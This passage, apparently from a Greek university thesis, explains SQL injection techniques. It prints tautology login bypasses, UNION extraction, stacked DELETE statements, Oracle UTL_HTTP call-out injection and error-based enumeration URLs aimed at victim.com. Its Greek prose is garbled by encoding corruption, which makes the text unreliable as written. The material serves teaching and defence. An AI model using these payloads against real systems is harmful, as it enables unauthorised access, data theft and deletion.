Σν πην θιαζζηθό παξάδεηγκα απηήο ηεο επίζεζεο είλαη όηαλ ρξεζηκνπνηνύκε πηζηνπνίεζε 

ζύλδεζεο(login authentication).Μία απιή ηζηνζειίδα ίζσο ειέγμεη ηελ ηαπηόηεηα ηνπ ρξήζηε 

εθηειώληαο ην αθόινπζν query θαη ειέγρνληαο εάλ ππάξρεη θάπνηα ζεηξά από ηε βάζε 

δεδνκέλσλ πνπ επηζηξέθεηαη σο εμαγόκελν. 

 

SELECT * FROM users 

WHERE username = 'bob' 

AΝD PASSWORD = 'mypassword' 

 

Ο επηηηζέκελνο πξνζπαζεί ηώξα λα παξαπνηήζεη ην SQL statement θαη λα εθηειεζηεί σο 

εμήο: 

 

SELECT * FROM users 

WHERE username = 'bob' 

AND Password = 'mypassword' or 'a' = 'a'-- 

 

Βαζηδόκελνη ζην παξαπάλσ ε WHERE είλαη αιεζήο γηα θάζε γξακκή θαη έηζη ν 

επηηηζέκελνο έρεη ηε δπλαηόηεηα λα απνθηήζεη πξόζβαζε ζηελ εθαξκνγή. 

O ζηόρνο κε ην παξαπάλσ είλαη λα “εμαπαηήζνπκε” έλα SQL statement πξνθαιώληαο ην 

λα επηζηξέθεη ζεηξέο ηεο βάζεο από άιινλ πίλαθα.Γηα παξάδεηγκα κία θόξκα ε νπνία ζα 

εθηειέζεη ηελ αθόινπζε αίηεζε ζα επηζηξέςεη κία ιίζηα κε ηα δηαζέζηκα πξνηόληα. 

 



Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

25 
 

SELECT product_name 

FROM all_products 

WHERE product_name like '%Chairs% 

 

O επηηηζέκελνο ηώξα πξνζπαζεί λα πξνθαιέζεη ην παξαπάλσ SQL statement λα 

εθηειεζηεί ώο: 

 

SELECT product_name FROM all_products 

WHERE product_name like '%Chairs' 

UNION 

SELECT username FROM dba_users 

WHERE username like '%'; 

 

Η ιίζηα πνπ επηζηξέθεηαη έπεηηα ζηε θόξκα ζα πεξηιακβάλεη όια ηα επηιεγκέλα πξνηόληα 

αιιά επίζεο θαη όια ηα νλόκαηα ησλ ρξεζηώλ πνπ ππάξρνπλ ζηε βάζε δεδνκέλσλ. 

 

5.2.Code Injection 

Οη επηζέζεηο απηήο ηεο θαηεγνξίαο πξνζπαζνύλ λα πξνζζέζνπλ SQL εληνιέο ζηελ 

ππάξρνπζα SQL δήισζε.Απηό ην είδνο παξαηεξείηαη ζπρλά ζε επηζέζεηο ελαληίνλ 

εθαξκνγώλ πνπ ρξεζηκνπνηνύλ ηελ ηερλνινγία Microsoft SQL Server θαη ζρεδόλ ζπάληα 

παξαηεξείηαη ελαληίνλ βάζεσλ δεδνκέλσλ κε ηερλνινγία Oracle.Η εληνιή EXECUTE 

απνηειεί έλα ζπρλό ζηόρν γηα επηζέζεηο injection. 

Οη ΙnPL,SQLandJava θαη Oracle δελ ππνζηεξίδνπλ πνιιαπιέο SQL δειώζεηο γηα θάζε 

αίηεκα ηεο βάζεο. Παξόια απηά ε αθόινπζε επίζεζε δελ ζα δνπιέςεη ζε κία βάζε 

δεδνκέλσλ Oracle κέζσ κίαο PL/SQL ή Java εθαξκνγήο.Απηή ε δήισζε ζα πξνθαιέζεη ην 

αθόινπζν ιάζνο: 

 

SELECT * FROM users WHERE username = 'bob' 

AND Password = 'mypassword'; DELETE FROM users 

WHERE username = 'admin'; 

 

Χζηόζν, κεξηθέο γιώζζεο πξνγξακκαηηζκνύ ή APIs ίζσο επηηξέςνπλ πνιιαπιέο 

δειώζεηο SQL λα εθηειεζηνύλ. 

Οη PL/SQL θαη Java εθαξκνγέο κπνξνύλ λα εθηειέζνπλ δπλακηθά αλώλπκα ηκήκαηα 

PL/SQL ηα νπνία είλαη εππαζή ζε code injection.Σν αθόινπζν είλαη έλα παξάδεηγκα ελόο 

PL/SQL ηκήκαηνο(block) ην νπνίν εθηειείηαη ζε κία ηζηνζειίδα. 
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BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); END; 

 

Σν παξαπάλσ παξάδεηγκα εθηειεί κία δηαδηθαζία ε νπνία θσδηθνπνηεί θαη απνζεθεύεη ην 

βαζκό ηνλ θσδηθό ηνπ ρξήζηε. Έλαο επηηηζέκελνο ζα πξνζπαζήζεη λα εθκεηαιιεπηεί ηελ 

αδπλακία απηνύ ηνπ block εθηειώληαο ην σο εμήο: 

 

BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); DELETE FROM users 

WHERE upper(username) = upper('admin'); END 

     

5.3.Function Call Injection 

Η Function Call Injection όζνλ αθνξά ηηο βαζηθέο ιεηηνπξγίεο έρεη αξθεηέο νκνηόηεηεο κε 

ηε βάζεο δεδνµέλσλ ηεο Oracle,νη νπνίεο είλαη πξνζαξµνζµέλεο ζε µηα επάισηε SQL 

δήισζε. Απηέο νη θιήζεηο ζπλαξηήζεσλ, µπνξνύλ λα ρξεζηµνπνηεζνύλ γηα λα 

πξαγµαηνπνηήζνπλ θιήζεηο ηνπ ιεηηνπξγηθνύ ζπζηήµαηνο ή λα ρεηξηζηνύλ ηα δεδνµέλα ηεο 

βάζεο δεδνµέλσλ.   

Σν πξόβιεκα µε ηελ Function Call Injection είλαη όηη θάζε SQL Statement πνπ 

δεµηνπξγείηαη δπλαµηθά,είλαη επάισην.Αθόµε θαη ην πην απιό SQL statement µπνξεί λα 

αμηνπνηεζεί απνηειεζµαηηθά. Σν αθόινπζν παξάδεηγµα δείρλεη ην πσο αθόµα θαη νη πην 

απιέο δειώζεηο SQL µπνξνύλ λα είλαη επάισηεο. Οη πξνγξαµµαηηζηέο εθαξµνγώλ µεξηθέο 

θνξέο ρξεζηµνπνηνύλ ζπλαξηήζεηο βάζεσλ δεδνµέλσλ αληί άιισλ δεµηνπξγεµέλσλ από 

ηξίηνπο (π.ρ. Java) γηα ηε δηελέξγεηα θνηλώλ ιεηηνπξγηώλ. ∆ελ ππάξρεη άµεζα ηζνδύλαµε 

ζπλάξηεζε ηνπ TRANSLATE ηεο βάζεο δεδνµέλσλ πνπ λα ιεηηνπξγεί ζηελ Java.΢ην 

παξαθάησ SQL statement θαίλεηαη θαη ε ιεηηνπξγία ηνπ TRANSLATE.  

 

SELECT TRANSLATE('user input',  

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789')   

FROM dual;  

 

Απηή ε SQL δήισζε δελ είλαη επάισηε ζε άιινπο ηύπνπο Injection επηζέζεσλ, αιιά είλαη 

εύθνια δηαρεηξίζηµε µέζσ µηαο Function Injection επίζεζεο. Ο εηζβνιέαο επηρεηξεί λα 

εμαπαηήζεη ην SQL statement θαη λα εθηειεζηεί όπσο παξαθάησ: 

 

SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',  

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', '0123456789')   

FROM dual; 

 



Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

27 
 

Η αιιαγή ηεο SQL δήισζεο ζα δεηήζεη µηα ζειίδα από ηνλ web server. Ο εηζβνιέαο ζα 

µπνξνύζε λα εμαπαηήζεη ηε ζπµβνινζεηξά θαη λα θάλεη ην URL λα ζπµπεξηιάβεη 

δηαδηθαζίεο ή ζπλαξηήζεηο, ώζηε λα αλαθηήζεη ρξήζηµεο πιεξνθνξίεο από ηνλ server ηεο 

βάζεο δεδνµέλσλ θαη λα ηηο απνζηείιιεη ζηνλ web server ζηε δηεύζπλζε πνπ αλαγξάθεηαη 

ζην URL. ∆εδνµέλνπ όηη ν δηαθνµηζηήο βάζεο δεδνµέλσλ µπνξεί λα βξίζθεηαη πίζσ από έλα 

ηείρνο πξνζηαζίαο (firewall), ζα µπνξνύζε επίζεο λα ρξεζηµνπνηεζεί θαη γηα επίζεζε άιισλ 

εμππεξεηεηώλ ζην εζσηεξηθό δίθηπν. 

Γηαδηθαζίεο νη νπνίεο κπνξνύλ λα ηξνπνπνηεζνύλ ζε παξόκνηνπ είδνπο παθέηα κπνξνύλ 

επίζεο λα εθηειεζηνύλ. Έλα παξάδεηγκα ζα ήηαλ κία εθαξκνγή ε νπνία ζα έηρε ηελ function 

ADDUSER ζην παθέην MYAPPADMIN.΢ε απηήλ ηελ πεξίπησζε ν πξνγξακκαηηζηήο 

ππνζέηνπκε όηη επηζεκαίλεη ηε δηαδηθαζία σο “PRAGMA TRANSACTION” ε νπνία ζα 

κπνξνύζε λα εθηειεζηεί θάησ από εηδηθέο ζπλζήθεο/πξνππνζέζεηο ηηο νπνίεο ε εθαξκνγή ζα 

θαινύηαλ λα αληηκεησπίζεη.Απν ηε ζηηγκή πνπ επηζεκάλζεθε σο “PRAGMA 

TRANSACTION” κπνξεί λα γξαθηεί ζηε βάζε δεδνκέλσλ αθόκα ρξεζηκνπνηώληαο θαη ηελ 

εληνιή SELECT. 

 

SELECT TRANSLATE('' || myappadmin.adduser('admin', 'newpass') || '', 

'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ', 

'0123456789') 

FROM dual; 

 

Δθηειώληαο ηελ παξαπάλσ SQL δήισζε,ν επηηηζέκελνο είλαη ζε ζέζε λα δεκηνπξγήζεη λέεο 

εθαξκνγέο ρξεζηώλ. 

 

5.4.Buffer Overflows 

Η επίζεζε SQL Injection ηνπ ηύπνπ Buffer Overflow είλαη έλα ππνζύλνιν ηεο παξαπάλσ 

θαηεγνξίαο. ΢ε αξθεηέο εµπνξηθέο θαη open-source βάζεηο δεδνµέλσλ, ππάξρνπλ ηξσηά 

ζεµεία ζε ιεηηνπξγίεο πνπ µπνξνύλ λα νδεγήζνπλ ζε ππεξρείιηζε µλήµεο. Τπάξρνπλ 

δηνξζώζεηο γηα απηά ηα ηξσηά ζεµεία ζηηο πεξηζζόηεξεο βάζεηο δεδνµέλσλ. Ωζηόζν, 

ππάξρνπλ αθόµα αξθεηέο βάζεηο πνπ θπθινθνξνύλ ζην εµπόξην ζηηο νπνίεο αθόµα δελ έρνπλ 

δηνξζσζεί απηά ηα θελά αζθαιείαο. Οπζηαζηηθά κε απηόλ ηνλ ηξόπν νη επηηηζέκελνη 

επεμεξγάδνληαη εθηειεζκέλεο εληνιέο ζην ηέινο ησλ δεδνκέλσλ θαη πξνθαινύλ ηνλ θώδηθα 

λα ηξέμεη πξηλ θαλ εηζαρζεί ζηε κλήκε.Μεξηθά γλσζηά buffer overflows πνπ ππάξρνπλ ζε 

functions βαζεσλ δεδνκέλσλ είλαη: 

• tz_offset 

• to_timestamp_tz 
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• bfilename, from_tz 

• numtoyminterval 

• numtodsinterval 

 

Σα παξαπάλσ buffer overflows εθηεινύληαη ρξεζηκνπνηώληαο function injection κεζόδνπο 

απνθηώληαο έηζη απνκαθξπζκέλε πξόζβαζε ζην ιεηηνπξγηθό ζύζηεκα ηνπ ζύκαηνο. 

΢πλήζσο ε δηαδηθαζία απηή δηαξθεί κερξίο όηνπ ε ζύλδεζε ηνπ πειάηε ηεξκαηηζηεί αιιηώο 

απηό κπνξεί λα κεηαηξαπεί ζε κία πνιύ απνηειεζκαηηθή επίζεζε ηύπνπ denial of service. 
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6.΢ςνηθιζμένα μηνύμαηα λάθοςρ SQL 
 

Κάπνηα από ηα ιάζε ηα νπνία εκθαλίδνληαη σο απνηέιεζκα θάπνηαο επίζεζεο ζηε βάζε 

δεδνκέλσλ ηα είδακε πξνεγνπκέλσο ζε παξαδείγκαηα. Παξαθάησ παξνπζηάδνπκε αλαιπηηθά 

όια ηα πηζαλά ιάζε πνπ κπνξνύκε λα ζπλαληήζνπκε ζε κία ηέηνηα πεξίπησζε. 

 

6.1.Microsoft SQL Server Errors 

΢ηελ πξνθεηκέλε πεξίπησζε ζα δνύκε όηη ην ίδην κήλπκα εηζόδνπ νδεγεί ζε δηαθνξεηηθά 

απνηειέζκαηα. 

Αο ζεσξήζνπκε ηελ αθόινπζε αίηεζε:  

http://www.victim.com/showproducts.aspx?category=attacker‟                          

Σν ζθάικα ην νπνίν επηζηξέθεηαη από ηελ εθαξκνγή ζα είλαη παξόκνην κε ην αθόινπζν: 

 

Server Error in ‗/‘ Application.                                                                                      

Unclosed quotation mark before the character string ‗attacker;‘.                  

Description: An unhandled exception occurred during the execution of the current web 

request.Please review  the stack trace for more information about the error and where 

it originated in the code.Exception Details: System.Data.SQLClient.SqlExceptioon: 

Unclosed quotation mark before the character string ‗attacker;‘. 

 

Πξνθαλώο δε ρξεηάδεηαη λα απνκλεκνλεύνπκε θάζε ζθάικα ιάζνπο.Σν ζεκαληηθό είλαη 

λα κπνξνύκε λα θαηαιαβαίλνπκε πόηε θαη γηαηί έλα ιάζνο πξνθαιείηαη.΢ε όια ηα 

παξαδείγκαηα κπνξνύκε λα εμάγνπκε όηη ην SQL statement πνπ ηξέρεη ζηε βάζε δεδνκέλσλ 

ζα είλαη παξόκνην κε ην αθόινπζν: 

SELECT *                                                                                                                                        

FROM products                                                                                                                 

WHERE idproduct=2 

 

Σν πξνεγνύκελν statement επηζηξέθεη έλα απνηέιεζκα πνπ αθνξά ην πξνηόλ ηνπ νπνίνπ 

ην πεδίν idproduct ηζνύηαη κε 2.Χζηόζν,όηαλ θάλνπκε injection κία κε αξηζκεηηθή ηηκή όπσο 

ηε ιέμε attacker,ην statement πνπ ζα ζηαιεί σο απάληεζε ζην server ηεο βάζεο δεδνκέλσλ ζα 

έρεη ηελ εμήο ζύληαμε: 

SELECT *                                                                                                                                                     

FROM products                                                                                                                 

WHERE idproduct=attacker 

http://www.victim.com/showproducts.aspx?category=attacker
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O SQL server θαηαιαβαίλεη όηη εάλ ε ηηκή δελ είλαη αξηζκόο,πξέπεη λα είλαη ην όλνκα 

θάπνηαο ζηήιεο.΢ε απηήλ ηελ πεξίπησζε,ν server αλαδεηά γηα κία ζηήιε κε όλνκα attacker 

κέζα ζην πίλαθα products.Χζηόζν δελ ππάξρεη θακία ζηήιε κε απηό ην όλνκα θαη επνκέλσο 

επηζηξέθεη ζθάικα. 

Τπάξρνπλ κεξηθέο ηερληθέο κε ηηο νπνίεο κπνξνύκε λα αλαθηήζνπκε πιεξννθνξίεο νη 

νπνίεο είλαη ελζσκαησκέλεο ζηα ιάζε πνπ επηζηξέθνληαη από ηε βάζε δεδνκέλσλ.Η πξώηε 

ηερληθή παξάγεη έλα ιάζνο ζην νπνίν κεηαηξέπεη έλα string ζε αθέξαην: 

 

http://victim.com/showproducts.aspx?category=bikes‟ and 1=0/@@version;-- 

 

Απάληεζε εθαξκνγήο: 

  

Η βάζε δεδνκέλσλ αλέθεξε έλα ιάζνο,κεηαηξέπνληαο ην απνηέιεζκα ηεο @@version ζε 

έλαλ αθέξαην θαη εκθαλίδεη ηα πεξηερόκελα ηεο.Η ηερληθή απηή θάλεη ρξήζε ηεο ιεηηνπξγίαο 

conversion δειαδή κεηαηξνπήο ζηνλ SQL Server.Δκείο ζηείιακε ην 0/@@version σο κέξνο 

ηνπ „δειεηεξηαζκέλνπ‟ θώδηθα.Σαπηόρξνλα,απνηειεί κέξνο ιεηηνπξγίαο δηαίξεζεο ην νπνίν 

ζεκαίλεη όηη πξέπεη λα εθηειεζηεί κεηαμύ δύν αξηζκώλ.Έηζη ε βάζε δεδνκέλσλ πξνζπαζεί λα 

κεηαηξέςεη ην απνηέιεζκα από ηε  δηαδηθαζία @@version ζε έλαλ αξηζκό.΋ηαλ ε ιεηηνπξγία 

απνηύρεη ηόηε ε βάζε δεδνκέλσλ εκθαλίδεη ην πεξηερόκελν ηεο κεηαβιεηήο.Δπίζεο,κπνξνύκε 

λα ρξεζηκνπνηήζνπκε ηελ ηερληθή απηή γηα λα εκθαλίζνπκε νπνηαδήπνηε κεηαβιεηή ηεο 

βάζεο δεδνκέλσλ.Σν αθόινπζν παξάδεηγκα θάλεη ρξήζε ηεο ηερληθήο απηήο γηα λα εκθαλίζεη 

ηε κεηαβιεηή „user‟: 

http://victim.com/showproducts.aspx?category=bikes‟ and 1=0/user;-- 

 

Απάληεζε εθαξκνγήο: 

 

http://victim.com/showproducts.aspx?category=bikes
http://victim.com/showproducts.aspx?category=bikes


Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

31 
 

 

Τπάξρνπλ επίζεο ηερληθέο πνπ ρξεζηκνπνηνύληαη κε ζθόπν ηελ πξνβνιή πιεξνθνξηώλ 

ζρεηηθά κε ην statement πνπ κόιηο εθηειέζηεθε από ηε βάζε δεδνκέλσλ,όπσο ε ρξήζε ηνπ 

having 1=1; 

http://victim.com/showproducts.aspx?category=bikes‟ having 1‟=‟1 

 

Απάληεζε εθαξκνγήο: 

 

 

Ο όξνο HAVING ρξεζηκνπνηείηαη ζε ζπλδπαζκό κε ην GROUP BY.Δπίζεο κπνξεί λα 

ρξεζηκνπνηεζεί ζε κία SELECT δήισζε γηα λα θηιηξάξεη ηα ζηνηρεία ηα νπνία ε GROUP 

BY επηζηξέθεη.΢ηελ GROUP BY είλαη αλαγθαίν ηα πεδία πνπ αλήθνπλ ζηε SELECT λα είλαη 

έλα απνηέιεζκα κίαο ζπγθεληξσηηθήο δηαδηθαζίαο (aggregated function) ή λα 

πεξηιακβάλνληαη ζηνλ όξν GROUP BY.Δάλ νη απαηηήζεηο δελ ζπλαληεζνύλ ηόηε ε βάζε 

δεδνκέλσλ ζα επηζηξέςεη έλα ιάζνο εκθαλίδνληαο ηελ πξώηε ζηήιε ηνπ ζέκαηνο ην νπνίν 

εκθαλίζηεθε απηό ην ζθάικα. 

Υξεζηκνπνηώληαο απηήλ ηελ ηερληθή θαη ηελ GROUP BY κπνξνύκε λα απαξηζκήζνπκε 

όιεο ηηο ζηήιεο ζε έλα SELECT statement. 

 

Απάληεζε εθαξκνγήο: 

 

΢ην πξνεγνύκελν παξάδεηγκα ,πεξηιακβάλακε ηεο πξνεγνύκελε ζηήιε πνπ κόιηο 

αλαθαιύςακε,δειαδή ηελ productid ζηνλ όξν GROUP BY.Σν ιάζνο ηεο βάζεο δεδνκέλσλ 

απνθάιπςε ην όλνκα ηεο επόκελεο ζηήιεο ην νπνίν είλαη ε name.Έηζη ζπλερίδνπκε λα 

αξηζκνύκε όιεο απηέο ηηο ζηήιεο: 

http://victim.com/showproducts.aspx?category=bikes
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     Απάληεζε εθαξκνγήο: 

 

Αθνύ έρνπκε απαξηζκήζεη ηα νλόκαηα ησλ ζηειώλ κπνξνύκε λα αλαθηήζνπκε ηηο ηηκέο 

ρξεζηκνπνηώληαο ηελ ηερληθή κεηαηξνπήο ιαζώλ: 

http://victim.com/showproducts.aspx?category=bikes and 1=0/name;-- 

 

Απάληεζε εθαξκνγήο: 

 

Δπηπιένλ,κπνξνύκε λα επεμεξγαζηνύκε ηα ιάζε πνπ εκθαλίδνληαη ζηηο εθαξκνγέο ζε 

ASP.NET ρξεζηκνπνηώληαο ην αξρείν web.config.Απηό ην αξρείν ρξεζηκνπνηείηαη γηα ηηο 

ξπζκίζεηο θαη ηε δηακόξθσζε κηάο εθαξκνγήο.Σν ζπγθεθξηκέλν είλαη έλα XML αξρείν ην 

νπνίν πεξηέρεη πιεξνθνξίεο ζρεηηθά κε ηηο ελόηεηεο ηνπ(modules),ηηο ξπζκίζεηο αζθαιείαο 

,ηηο ξπζκίζεηο ζπκπίεζεο θαη άιια παξόκνηα δεδνκέλα.Ο όξνο customErrors δειώλεη πόζα 

ιάζε επηζηξέθνληαη ζηνλ web browser.Από πξνεπηινγή ηζρύεη όηη „customErrors=On‟ ην 

νπνίν εκπνδίδεη ηελ εθαξκνγή ηνπ server λα εκθαλίζεη ηα ιάζε ζε απνκαθξπζκέλνπο 

επηζθέπηεο.Μπνξνύκε λα απελεξγνπνηήζνπκε ην ραξαθηεξηζηηθό απηό εθηειώληαο ηνλ 

αθόινπζν θώδηθα αλ θαη δε ζπζηήλεηαη: 

 

http://victim.com/showproducts.aspx?category=bikes
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Μία άιιε πηζαλόηεηα είλαη λα εκθαλίζνπκε δηαθνξεηηθέο ζειίδεο αλάινγα κε  ην θσδηθό 

κήλπκα ιάζνπο HTTP πνπ παξάγεηαη θάζε θνξά: 

 

 

΢ην πξνεγνύκελν παξάδεηγκα,ε εθαξκνγή ζα κεηαθέξεη από πξνεπηινγή ηνλ ρξήζηε ζην 

Error.aspx.Χζηόζν θαη ζηηο ηξείο πεξηπηώζεηο (νη HTTP θώδηθεο 403,404 θαη 500) ν ρξήζηεο 

ζα κεηαθεξζεί ζε άιιε ζειίδα. 

 

6.2.MySQL Errors 

΢ηελ ελόηεηα απηή ζα δνύκε κεξηθά ηππηθά ιάζε MySQL πνπ ζπκβαίλνπλ.΋ιεο νη 

γιώζζεο νη νπνίεο εμππεξεηνύλ ηελ επηθνηλσλία πειάηε-εμππεξεηεηή κπνξνύλ λα έρνπλ 

πξόζβαζε ζε βάζεηο δεδνκέλσλ MySQL.Η MySQL κπνξεί λα εθηειεζηεί ζε πνιιέο 

αξρηηεθηνληθέο θαη ιεηηνπξγηθά ζπζηήκαηα. 

Σo αθόινπζν ιάζνο είλαη κία ζπλήζεο ππόδεημε εππάζεηαο ζε MySQL. 

 

΢ε απηό ην παξάδεηγκα ν επηηηζέκελνο εηζήγαγε κία απιή θξάζε ζηελ παξάκεηξν GET 

θαη ε PHP ζειίδα έζηεηιε ην SQL statement ζηε βάζε δεδνκέλσλ.Σν αθόινπζν ηκήκα 

θώδηθα ζηελ php θαλεξώλεη ηελ εππάζεηα: 
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Ο θώδηθαο δείρλεη όηη ε ηηκή πνπ αλαθηήζεθε από ηε κεηαβιεηή GET ρξεζηκνπνηείηαη  

ζην SQL statement ρσξίο θάπνηα παξαιιαγή.Δάλ έλαο επηηηζέκελνο εηζάγεη κία ηηκή κε κία 

απιή θξάζε,ηόηε ην απνηέιεζκα ζηε δήισζε ζα είλαη ην εμήο: 

           SELECT * 

           FROM products 

           WHERE category=‘attacker‘‘ 

Σν πξνεγνύκελν statement ζα απνηύρεη θαη ε mysql_query function δελ ζα επηζηξέςεη 

θάπνηα ηηκή.Δπνκέλσο ,ε $result_variable δελ ζα είλαη κία έγθπξε MySQL πεγή 

απνηειέζκαηνο.΢ηελ αθόινπζε γξακκή θώδηθα,ε mysql_fetch_array($result,MYSQL_NUM) 

function ζα απνηύρεη θαη ε PHP ζα εκθαλίζεη κήλπκα απνηπρίαο ην νπνίν ππνδεηθλύεη ζηνλ 

επηηηζέκελν όηη ην SQL statement δελ κπνξνύζε λα εθηειεζηεί. 

΢ην πξνεγνύκελν παξάδεηγκα ε εθαξκνγή δελ πεξηέρεη ιεπηνκέξεηεο ζρεηηθά ην ζθάικα 

θαη επνκέλσο ν επηηηζέκελνο ζα ρξεηαζηεί λα θαηαβάιιεη πεξηζζόηεξε πξνζπάζεηα 

πξνθεηκέλνπ λα θαζνξίζεη ηνλ αθξηβή ηξόπν κε ηνλ νπνίν λα κπνξεί λα εθκεηαιιεπηεί ηελ 

εππάζεηα. 

H php πεξηέρεη κία δηαδηθαζία πνπ νλνκάδεηαη mysql_error ε νπνία παξέρεη πιεξνθνξίεο 

ζρεηηθά κε ηα ιάζε πνπ επηζηξέθνληαη από ηε MySQL βάζε δεδνκέλσλ θαηά ηε δηάξθεηα ηεο 

εθηέιεζεο ελόο statement.Γηα παξάδεηγκα,ν αθόινπζνο θώδηθαο php εκθαλίδεη ιάζε πνπ 

πξνθαιέζηεθαλ θαηά ηε δηάξθεηα ηεο εθηέιεζεο κίαο SQL αίηεζεο: 
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΋ηαλ κία εθαξκνγή ηξέρεη ην πξνεγνύκελν θώδηθα,ζπιιακβάλεη ηα ζθάικαηα θαη ηηο 

απνηπρεκέλεο SQL αηηήζεηο.Αληίζηνηρα,ην αξρείν HTML πνπ επηζηξέθεηαη ζα πεξηιακβάλεη 

ην ιάζνο πνπ επηζηξάθεθε από ηε βάζε δεδνκέλσλ.Δάλ έλαο επηηηζέκελνο ηξνπνπνηήζεη έλα 

string κίαο παξακέηξνπ πξνζζέηνληαο κία απιή θξάζε,ηόηε ν server ζα επηζηξέςεη έλα 

απνηέιεζκα πνπ ζα κνηάδεη κε ην παξαθάησ: 

 

Απηό ην παξάδεηγκα καο παξέρεη πιεξνθνξίεο ζρεηηθά κε ην γηαηί απέηπρε ε αίηεζε 

καο.Δάλ ε παξάκεηξνο πνπ εηζάγνπκε δελ είλαη string θαη επνκέλσο δελ πεξηέρεηαη αλάκεζα 

ζηηο αξρηθέο θξάζεηο,ην εμαγώκελν απνηέιεζκα ζα είλαη παξόκνην κε απηό: 

Error: unknown column „attacker‟ in „where clause‟ 
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Η ζπκπεξηθνξά ζηνλ εμππεξεηεηή ηεο MySQL είλαη ηαπηόζεκε κε απηή ηνπ Microsoft 

SQL Server δηόηη ε ηηκή δελ πεξηέρεηαη κεηαμύ ησλ θξάζεσλ θαη έηζη ε MySQL ην 

κεηαρεηξίδεηαη σο έλα όλνκα ζηήιεο.Η SQL δήισζε πνπ εθηειέζηεθε ήηαλ κεηαμύ απηώλ 

ησλ γξακκώλ: 

SELECT * 

FROM products 

WHERE idproduct=attacker 

Η MySQL δελ κπνξεί λα βξεί ην όλνκα ζηήιεο „attacker‟ επνκέλσο επηζηξέθεη κήλπκα 

ζθάικαηνο.Σν παξαθάησ είλαη ην ηκήκα θώδηθα από ην php script ην νπνίν είλαη ππεύζπλν 

γηα ηελ αληηκεηώπηζε ησλ ιαζώλ: 

 

΢ε απηό ην παξάδεηγκα,ην ιάζνο ζπιιακβάλεηαη θαη έπεηηα εκθαλίδεηαη ρξεζηκνπνηώληαο 

ηελ function die().Η PHP δηαδηθαζία die() εθηειεί έλα κήλπκα θαη έπεηηα πξνθαιεί έμνδν από 

ην script.Τπάξρνπλ θαη άιιεο επηινγέο γηα ηνλ πξνγξακκαηηζηή όπσο ε κεηαθνξά 

(redirection) ζε άιιε ζειίδα: 

 

 

6.3.Oracle Errors 

΢ε απηήλ ηελ ελόηεηα ζα αζρνιεζνύκε κε παξαδείγκαηα πνπ αθνξνύλ πεξηπηώζεηο ιαζώλ 

ζε Oracle.Οη βάζεηο δεδνκέλσλ Oracle ρξεζηκνπνηνύλ πνηθίιεο ηερλνινγίεο.΋πσο αλαθέξακε 

θαη πξίλ,δε ρξεηάδεηαη λα γλσξίδνπκε θάζε ιάζνο μερσξηζηά πνπ επηζηξέθεηαη.Σν ζεκαληηθό 

είλαη λα κπνξνύκε λα αλαγλσξίζνπκε έλα ζθάικα όηαλ ην δνύκε. 

΋ηαλ αζρνινύκαζηε κε παξακέηξνπο ζε εθαξκνγέο Java πνπ ζπλδένληαη κε κία Oracle 

βάζε δεδνκέλσλ,ζπρλά ζα δνύκε ην αθόινπζν κήλπκα ιάζνπο: 

 

 



Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

37 
 

Σν πξνεγνύκελν ιάζνο είλαη πνιύ γεληθό θαη ζεκαίλεη όηη πξνζπαζήζακε λα εθηειέζνπκε 

έλα ζπληαθηηθά ιάζνο SQL statement.Αλάινγα κε ηνλ θώδηθα πνπ ηξέρεη ζην server 

κπνξνύκε λα βξνύκε ην αθόινπζν ιάζνο όηαλ εηζάγνπκε κία απιή αλαθνξά: 

 

΢ε απηό ην ιάζνο ε Oracle βάζε δεδνκέλσλ αληρλεύεη όηη έλα αλαθεξόκελν string ζην 

SQL statement δελ ηεξκαηίζηεθε ζσζηά,θαζώο ε Oracle απαηηεί έλα string λα ηεξκαηηζηεί κε 

κία απιή αλαθνξά.Σν αθόινπζν ζθάικα επαλαδεκηνπξγεί ην ίδην ζελάξην αιιά απηή ηε 

θνξά γηα .NET πεξηβάιινληα. 

 

Σν επόκελν παξάδεηγκα δείρλεη έλα ιάζνο πνπ επηζηξάθεθε από κία εθαξκνγή ηύπνπ 

.NET εθηειώληαο κία δήισζε ζηελ νπνία εκπεξηέρεηαη έλα string αλαθνξάο. 

 

H PHP  function ociparse() ρξεζηκνπνηείηαη γηα λα πξνεηνηκάζεη κία oracle δήισζε γηα 

εθηέιεζε.Δδώ θαίλεηαη έλα παξάδεηγκα κε έλα ζθάικα ην νπνίν παξάγεηαη από ηελ PHP 

όηαλ ε δηαδηθαζία απνηπγράλεη: 

  

Μεξηθέο θνξέο παξαηεξνύκε όηη ε επηηπρία κίαο επίζεζεο εμαξηάηαη ζε κεγάιν βαζκό 

από ηηο πιεξνθνξίεο πνπ θέξεη ν database server.Αο εμεηάζνπκε ην αθόινπζν ζθάικα: 

  

Η βάζε δεδνκέλσλ αλαθέξεη ην ιάζνο „missing right parenthesis‟ ζηε παξαπάλσ 

δήισζε.Σν ιάζνο απηό κπνξεί λα επηζηξέθεηαη γηα δηάθνξνπο ιόγνπο.Μία ζύλεζεο 

θαηάζηαζε γηα ηελ νπνία παξνπζηάδεηαη ην παξαπάλσ είλαη όηαλ ν επηηηζέκελνο έρεη θάπνηνπ 

είδνπο έιεγρν ζηo SQL statement. 

 



Πα
νε
πι
στ
ήμ
ιο 
Πε
ιρα
ιώ
ς

38 
 

Γηα παξάδεηγκα: 

 

 

 

Απηό πνπ θαίλεηαη από ην παξαπάλσ είλαη όηη κηιάκε γηα κία έλζεηε αίηεζε(nested 

subquery).Η εληνιή SELECT εθηειεί άιιε SELECT ε νπνία πεξηέρεηαη κέζα ζηελ 

παξέλζεζε.Δάλ ν επηηηζέκελνο εηζάγεη θάηη ζηε δεύηεξε αίηεζε θαη αθαηξέζεη ην ππόινηπν 

ηκήκα ηεο δήισζεο ηόηε ε βάζε δεδνκέλσλ ζα επηζηξέςεη ην αθόινπζν ζθάικα κε ηελ 

παξαηήξεζε „missing right parenthesis‟. 
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7.Error-based SQL Injection 
 

Από ηα παξαπάλσ πξνθύπηεη κία SQL injection επίζεζε ε νπνία βαζίδεηαη ζηα ζθάικαηα 

